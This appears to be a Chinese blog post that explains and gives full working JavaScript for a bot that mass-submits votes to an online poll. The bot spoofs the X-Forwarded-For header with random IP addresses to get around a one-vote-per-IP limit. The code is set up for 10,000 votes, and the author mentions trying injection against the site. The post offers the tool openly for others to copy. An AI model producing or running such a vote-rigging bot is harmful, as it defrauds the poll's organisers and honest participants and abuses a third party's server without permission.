【我们开发有力量之二】利用javascript制作批量网络投票机器人（自动改IP）

帮朋友忙网络投票，粗粗地看了下，投票没有什么限制，仅有一个ip校验：每天每个ip仅能投票一次。

也就是说，可以写一个程序，自动更换IP地址（伪造IP地址），实现批量刷票的目的。于是我写了一个投票机器人。。。

解决办法

1、伪造ip,http协议中，request有个属性："X-Forwarded-For",这个属性值就是服务器端的程序所能获取的ip。通过request.setRequestHeader("X-Forwarded-For","10.12.10.1");

以下代码用于生成随机IP地址：

function r(min,max){  
    return Math.floor(min+Math.random()*(max-min));  
}  
function getRandomIp(){  
    return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);  
}  

2、网络投票全代码，投票地址已经隐去：

<span style="font-size: small;"><span style="line-height: 18px;"><script>  
function CreateXMLHttp2(){  
var xmlhttp=null;  

if (window.XMLHttpRequest)
 {  xmlhttp = new XMLHttpRequest();  } 
 if (!xmlhttp&&window.ActiveXObject) 
 {
      try 
     {
          xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.5.0") 
     } 
     catch(e) 
     {
          try 
         {
              xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0")
          } 
         catch(e) 
         {
              try

              {
                  new ActiveXObject("Msxml2.XMLHTTP")
              } 
             catch(e)
              { 
                 try{new ActiveXObject("Microsoft.XMLHTTP")}catch(e){} 
             } 
         } 
     }
  } 
 if(!xmlhttp){alert("XMLHTTP不可用。即将跳转到非Ajax页面。");location="nonAjax.htm"}  
return xmlhttp;  
}  
  
var g_i=0;  
var timer;  
function $(obj){  
    return document.getElementById(obj);  
}  
  
function onSearch(){  
    var g_xmlhttp=CreateXMLHttp2();  
  
    if (!g_xmlhttp){  
        alert("你的浏览器不支持ajax");  
        return;  
    }  
    var idVal = $("id").value;  
    var sendData="id="+idVal;  
    var fakeIP=getRandomIp();  
      
    var total = $("total").value;  
    var intervalTime = $("intervalTime").value;  
    var timeRemain = (total-g_i)*intervalTime/1000;  
    $("res").innerHTML="已投票：" + g_i +"</br>估计剩余时间：" + timeRemain + "秒"  + "</br>当前伪造IP:" + fakeIP+"</br>";  
    //alert(fakeIP);return ;  
    try{  
    g_xmlhttp.open("GET","http://www.xxx.com/xly/tp/tp.php?id=" + idVal,true);  
    g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);  
    g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");  
    //伪造ip的属性  
    g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);  
    g_xmlhttp.onreadystatechange=function(){  
        if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4){  
            if(++g_i<total){  
                timer = setTimeout("onSearch()",intervalTime);  
            }  
            if(g_i >= total){  
                alert("本次投票完成");  
            }  
        }  
    }  
    g_xmlhttp.send(sendData);  
    }catch(e){  
          
    }  
}  
  
function r(min,max){  
    return Math.floor(min+Math.random()*(max-min));  
}  
function getRandomIp(){  
    return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);  
}  
function stopSearch(){  
    clearTimeout(timer);  
}  
function startInit(){  
$("res").innerHTML=""  
}  
</script>  
<form name="form1" method="post" action="" id="form1">  
    <div>  
        <br />  
  
        <input id="ip" type="hidden" value="124.22.11." />  
        <br />  
        投票间隔(单位毫秒)：  
        <input id="intervalTime" type="text" value="200" />  
        <br />  
        投票总数：  
        <input id="total" type="text" value="10000" />  
        </br>  
        投票ID:  
        <input id="id" type="text" value="77" />  
        </br>  
        <input id="search" type="button" onclick="startInit();onSearch();"  
            value="开始" />  
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  
        <input id="search" type="button" onclick="stopSearch();" value="停止" />  
        <br />  
        <br />  
        <span id="res"></span>  
        <br />  
        <br />  
    </div>  
</form>  
</span></span>  

需要注意的是，不能投票太快，投票时间要有间隔，主要是怕服务器被投宕机了。试着给注入下，发现应用和数据库是在同一台机器上，每次投票，应用要执行1次DB查询，是查ip+id，如果查询验证成功，则执行1次DB的插入。

希望这个例子对大家有所启发。